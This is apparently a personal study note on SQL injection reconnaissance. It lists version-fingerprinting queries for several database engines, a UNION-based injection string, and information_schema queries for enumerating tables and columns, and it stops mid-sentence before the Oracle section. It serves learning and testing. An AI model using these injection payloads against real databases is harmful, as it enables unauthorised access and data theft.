Before exploiting database with SQLi or any queries, it imperative to do recon about your target beforehand, like

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

can be coupled with UNION like ' UNION SELECT @@version--

Most db’s(except Oracle) in SQL have a set of views called information schema. gives info about the db.

eg: information_schema.tables → list tables in db

SELECT * FROM information_schema.columns WHERE table_name = '<table_name>' → will list columns in that table.

For Oracle db’s, the commands become